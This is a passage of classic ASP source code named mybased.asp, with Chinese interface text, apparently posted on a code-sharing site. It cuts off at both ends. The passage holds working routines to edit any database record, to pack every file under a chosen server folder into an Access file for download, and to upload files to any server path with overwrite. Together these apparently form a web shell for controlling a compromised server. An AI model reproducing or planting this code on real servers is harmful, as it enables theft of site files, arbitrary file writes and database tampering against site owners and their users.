?? mybased.asp
字號:
Else
If theAct <> "pre" And theAct <> "next" Then
For Each x In rs.Fields
If strPrimaryKey <> x.Name Then
rs(x.Name) = Request.Form(x.Name & "_Column")
End If
Next
rs.Update
End If
strValue = rs(strColumn)
End If
If theAct = "new" Then
sql = "Select * From [" & strTable & "] Where " & strColumn & " like '" & Replace(strValue, "'", "''") & "'"
End If
rs.Close
End If
rs.Open sql, conn, 1, 1
echo "<table border=1 width=600>"
echo "<tr>"
echo "<td height=22 class=trHead colspan=2> </td>"
echo "</tr>"
echo "<tr>"
echo "<td colspan=2 class=td><font face=webdings>8</font> SQL數據修改</td>"
echo "</tr>"
echo "<input type=hidden value=PageDBTool name=PageName>"
echo "<input type=hidden name=theAct value=save>"
echo "<input type=hidden name=sql value=""" & HtmlEncode(GetPost("sql")) & """>"
echo "<input type=hidden name=theTable value=""" & strTable & """>"
echo "<input type=hidden value=""" & HtmlEncode(strColumn & "!" & strValue) & """ name=param>"
echo "<input type=hidden value=""" & HtmlEncode(GetPost("thePath")) & """ name=thePath>"
For Each x In rs.Fields
echo "<tr>"
echo "<td height=22 width=150> " & HtmlEncode(x.Name) & "<br/> (<em>" & GetDataType(x.Type) & "</em>)</td>"
echo "<td width=450> "
echo "<textarea style='width:436;' name=""" & x.Name & "_Column""" & IIf(x.Type = 201 Or x.Type = 203, " rows=6", "")
echo IIf(x.Properties("ISAUTOINCREMENT").Value, " disabled", "")
echo IIf(x.Name = strPrimaryKey, " title='主鍵,由于主鍵約束,將無法被修改,也不能出現相同值.'", "") & ">" & HtmlEncode(x.value) & "</textarea>"
echo "</td></tr>"
Next
echo "<tr>"
echo "<td colspan=2 class=td align=center>"
If multiTables = False Then
If strPrimaryKey = "" Then
echo "<input type=button value=修改 onclick=if(confirm('確定要修改這條記錄嗎?\n此表沒有主鍵,繼續操作可能會導致數據庫災難,并且該錯誤無法被撤消.')){this.form.theAct.value='save';this.form.submit();}>"
Else
echo "<input type=submit value=修改 onclick=this.form.theAct.value='save';>"
echo "<input type=button value=添加 onclick=if(confirm('確實要添加當前為新記錄嗎?')){this.form.theAct.value='new';this.form.submit();};>"
echo "<input type=button value=刪除 onclick=if(confirm('確實刪除當前記錄嗎?')){this.form.theAct.value='del';this.form.submit();};>"
End If
Else
echo "<input type=button value=暫不支持多表操作 disabled>"
End If
echo "<input type=reset value=重置><input type=button value=關閉 onclick='window.close();'>"
If IsNumeric(strValue) = True Then
echo "<input type=button value=上一條 onclick=""this.form.theAct.value='pre';this.form.submit();"">"
echo "<input type=button value=下一條 onclick=""this.form.theAct.value='next';this.form.submit();"">"
End If
echo "</td>"
echo "</tr>"
echo "</table>"
rs.Close
Set rs = Nothing
DestoryConn()
End Sub
Sub CreateConn()
Dim connStr, mdbInfo, userName, passWord, strPath
If isDebugMode = False Then On Error Resume Next
Set conn = Server.CreateObject("Adodb.Connection")
If LCase(Left(thePath, 4)) = "sql:" Then
connStr = Mid(thePath, 5)
isSqlServer = True
Else
mdbInfo = Split(thePath, ";")
strPath = mdbInfo(0)
strPath = strPath
ChkErr(Err)
If UBound(mdbInfo) >= 2 Then
userName = mdbInfo(1)
passWord = mdbInfo(2)
End If
connStr = Replace(accessStr, "{$dbSource}", strPath)
connStr = Replace(connStr, "{$userId}", userName)
connStr = Replace(connStr, "{$passWord}", passWord)
end if
conn.Open connStr
ChkErr(Err)
End Sub
Sub DestoryConn()
conn.Close
Set conn = Nothing
End Sub
Function GetDataType(flag)
Dim str
Select Case flag
Case 0 : str = "EMPTY"
Case 2 : str = "SMALLINT"
Case 3 : str = "INTEGER"
Case 4 : str = "SINGLE"
Case 5 : str = "DOUBLE"
Case 6 : str = "CURRENCY"
Case 7 : str = "DATE"
Case 8 : str = "BSTR"
Case 9 : str = "IDISPATCH"
Case 10 : str = "ERROR"
Case 11 : str = "BIT"
Case 12 : str = "VARIANT"
Case 13 : str = "IUNKNOWN"
Case 14 : str = "DECIMAL"
Case 16 : str = "TINYINT"
Case 17 : str = "UNSIGNEDTINYINT"
Case 18 : str = "UNSIGNEDSMALLINT"
Case 19 : str = "UNSIGNEDINT"
Case 20 : str = "BIGINT"
Case 21 : str = "UNSIGNEDBIGINT"
Case 72 : str = "GUID"
Case 128 : str = "BINARY"
Case 129 : str = "CHAR"
Case 130 : str = "WCHAR"
Case 131 : str = "NUMERIC"
Case 132 : str = "USERDEFINED"
Case 133 : str = "DBDATE"
Case 134 : str = "DBTIME"
Case 135 : str = "DBTIMESTAMP"
Case 136 : str = "CHAPTER"
Case 200 : str = "VARCHAR"
Case 201 : str = "LONGVARCHAR"
Case 202 : str = "VARWCHAR"
Case 203 : str = "LONGVARWCHAR"
Case 204 : str = "VARBINARY"
Case 205 : str = "LONGVARBINARY"
Case Else : str = flag
End Select
GetDataType = str
End Function
Function GetPrimaryKey(strTable)
Dim rsPrimary
If isDebugMode = False Then On Error Resume Next
Set rsPrimary = conn.OpenSchema(28, Array(Empty, Empty, strTable))
If Not rsPrimary.Eof Then GetPrimaryKey = rsPrimary("COLUMN_NAME")
Set rsPrimary = Nothing
End Function
Sub PagePack()
ShowTitle("文件夾打包/解開器")
Server.ScriptTimeOut = 5000
If theAct = "PackIt" Or theAct = "PackOne" Then
PackIt()
AlertThenClose("打包成功!生成為該文件夾目錄下的Packet.mdb文件.\n下載下來后可以使用unpack.vbs進行解開.")
Response.End()
End If
If theAct = "UnPack" Then
UnPack()
AlertThenClose("解開成功!解開目錄為Packet.mdb所在目錄.")
Response.End()
End If
PackTable()
End Sub
Sub PackTable()
echo "<base target=_blank>"
echo "<table width=750 border=1>"
echo "<tr>"
echo "<td colspan=2 class=td><font face=webdings>8</font> 文件夾打包/解開器(需FSO支持)"
echo "</td>"
echo "</tr>"
echo "<tr>"
echo "<td colspan=2 class=trHead> </td>"
echo "</tr>"
echo "<form method=post action='" & url & "'>"
echo "<tr>"
echo "<td width='20%'> 打包</td>"
echo "<td> <input name=thePath value='" & rootPathB & "' style='width:467px;'> "
echo "<input type=hidden value=PagePack name=PageName>"
echo "<input type=hidden value=PackIt name=theAct>"
echo "<input type=submit value='開始打包'>"
echo "</td></tr>"
echo "</form>"
echo "<form method=post action='" & url & "'>"
echo "<tr>"
echo "<td> 解包</td>"
echo "<td> <input name=thePath value='Packet.mdb' style='width:467px;'> "
echo "<input type=hidden value=PagePack name=PageName>"
echo "<input type=hidden value=UnPack name=theAct>"
echo "<input type=submit value='開始解包'>"
echo "</td></tr>"
echo "</form>"
echo "<tr>"
echo "<td colspan=2 class=trHead> </td>"
echo "</tr>"
echo "<tr align=right>"
echo "<td colspan=2 class=td> </td>"
echo "</tr>"
echo "</table>"
End Sub
Sub PackIt()
Dim rs, db, conn, stream, connStr, objX, strPath, strPathB, isFolder, adoCatalog
If isDebugMode = False Then On Error Resume Next
strPath = thePath
db = strPath & "\Packet.mdb"
Set rs = Server.CreateObject("ADODB.RecordSet")
Set stream = Server.CreateObject("ADODB.Stream")
Set conn = Server.CreateObject("ADODB.Connection")
Set adoCatalog = Server.CreateObject("ADOX.Catalog")
connStr = "Provider=Microsoft.Jet.OLEDB.4.0; Data Source=" & db
If fso.FolderExists(strPath) = False Then
ShowErr(thePath & " 目錄不存在或者不允許訪問!")
End If
If theAct = "PackIt" Then
If fso.GetFolder(strPath).Size > 300 * 1024 * 1024 Then
ShowErr("該目錄超過300M, 可能造成服務器當機, 操作停止.")
End If
End If
If fso.FileExists(db) = False Then
adoCatalog.Create connStr
conn.Open connStr
conn.Execute("Create Table FileData(Id int IDENTITY(0,1) PRIMARY KEY CLUSTERED, thePath VarChar, fileContent Image)")
Else
conn.Open connStr
End If
stream.Open
stream.Type = 1
rs.Open "FileData", conn, 3, 3
If theAct = "PackIt" Then
Call FsoTreeForMdb(strPath, rs, stream)
Else
strPath = GetPost("truePath") & "\"
For Each objX In Request.Form("checkBox")
strPathB = strPath & objX
isFolder = fso.FolderExists(strPathB)
If isFolder = True Then
Call FsoTreeForMdb(strPathB, rs, stream)
Else
If InStr(sysFileList, "$" & objX & "$") <= 0 Then
rs.AddNew
rs("thePath") = "Packet" & Mid(strPathB, 3)
stream.LoadFromFile(strPathB)
rs("fileContent") = stream.Read()
rs.Update
End If
End If
Next
End If
rs.Close
Conn.Close
stream.Close
Set rs = Nothing
Set conn = Nothing
Set stream = Nothing
Set adoCatalog = Nothing
End Sub
Sub UnPack()
Dim rs, ws, str, conn, stream, connStr, strPath, theFolder
If isDebugMode = False Then On Error Resume Next
strPath = thePath
str = fso.GetParentFolderName(strPath) & "\"
Set rs = CreateObject("ADODB.RecordSet")
Set stream = CreateObject("ADODB.Stream")
Set conn = CreateObject("ADODB.Connection")
connStr = "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & strPath
conn.Open connStr
ChkErr(Err)
rs.Open "FileData", conn, 1, 1
stream.Open
stream.Type = 1
Do Until rs.Eof
theFolder = Left(rs("thePath"), InStrRev(rs("thePath"), "\"))
If fso.FolderExists(str & theFolder) = False Then
CreateFolder(str & theFolder)
End If
stream.SetEos()
If IsNull(rs("fileContent")) = False Then stream.Write rs("fileContent")
stream.SaveToFile str & rs("thePath"), 2
rs.MoveNext
Loop
rs.Close
conn.Close
stream.Close
Set ws = Nothing
Set rs = Nothing
Set stream = Nothing
Set conn = Nothing
End Sub
Sub FsoTreeForMdb(strPath, rs, stream)
Dim item, theFolder, folders, files
If isDebugMode = False Then On Error Resume Next
Set theFolder = fso.GetFolder(strPath)
Set files = theFolder.Files
Set folders = theFolder.SubFolders
For Each item In folders
Call FsoTreeForMdb(item.Path, rs, stream)
Next
For Each item In files
If InStr(sysFileList, "$" & item.Name & "$") <= 0 Then
rs.AddNew
rs("thePath") = "Packet" & Mid(item.Path, 3)
stream.LoadFromFile(item.Path)
rs("fileContent") = stream.Read()
rs.Update
End If
Next
Set files = Nothing
Set folders = Nothing
Set theFolder = Nothing
End Sub
Sub PageUpload()
ShowTitle("批量文件上傳")
theAct = Request.QueryString("theAct")
If theAct = "upload" Then
StreamUpload()
echo "<script>alert('上傳成功!');history.back();</script>"
End If
ShowUpload()
End Sub
Sub ShowUpload()
If thePath = "" Then thePath = rootPathB
echo "<form method=post onsubmit=this.Submit.disabled=true; enctype='multipart/form-data' action=?PageName=PageUpload&theAct=upload>"
echo "<table width=750>"
echo "<tr>"
echo "<td class=td colspan=2><font face=webdings>8</font> 批量文件上傳</td>"
echo "</tr>"
echo "<tr>"
echo "<td class=trHead colspan=2> </td>"
echo "</tr>"
echo "<tr>"
echo "<td width='20%'>"
echo " 上傳到:"
echo "</td>"
echo "<td>"
echo " <input name=thePath type=text id=thePath value=""" & HtmlEncode(thePath) & """ size=48><input type=checkbox name=overWrite>覆蓋模式"
echo "</td>"
echo "</tr>"
echo "<tr>"
echo "<td valign=top>"
echo " 文件選擇: "
echo "</td>"
echo "<td> <input id=fileCount size=6 value=1> <input type=button value=設定 onclick=makeFile(fileCount.value)>"
echo "<div id=fileUpload>"
echo " <input name=file1 type=file size=50>"
echo "</div></td>"
echo "</tr>"
echo "<tr>"
echo "<td class=trHead colspan=2> </td>"
echo "</tr>"
echo "<tr>"
echo "<td align=center class=td colspan=2>"
echo "<input type=submit name=Submit value=上傳 onclick=this.form.action+='&overWrite='+this.form.overWrite.checked;>"
echo "<input type=reset value=重置><input type=button value=關閉 onclick=window.close();>"
echo "</td>"
echo "</tr>"
echo "</table>"
echo "</form>"
echo "<script language=javascript>" & vbNewLine
echo "function makeFile(n){" & vbNewLine
echo " fileUpload.innerHTML = ' <input name=file1 type=file size=50>'" & vbNewLine
echo " for(var i=2; i<=n; i++)" & vbNewLine
echo " fileUpload.innerHTML += '<br/> <input name=file' + i + ' type=file size=50>';" & vbNewLine
echo "}" & vbNewLine
echo "</script>"
End Sub
Sub StreamUpload()
Dim sA, sB, aryForm, aryFile, theForm, newLine, overWrite
Dim strInfo, strName, strPath, strFileName, intFindStart, intFindEnd
Dim itemDiv, itemDivLen, intStart, intDataLen, intInfoEnd, totalLen, intUpLen, intEnd
If isDebugMode = False Then On Error Resume Next
Server.ScriptTimeOut = 5000
newLine = ChrB(13) & ChrB(10)
overWrite = Request.QueryString("overWrite")
overWrite = IIf(overWrite = "true", "2", "1")
Set sA = Server.CreateObject("Adodb.Stream")
Set sB = Server.CreateObject("Adodb.Stream")
sA.Type = 1
sA.Mode = 3
sA.Open
?? 快捷鍵說明
復制代碼
Ctrl + C
搜索代碼
Ctrl + F
全屏模式
F11
切換主題
Ctrl + Shift + D
顯示快捷鍵
?
增大字號
Ctrl + =
減小字號
Ctrl + -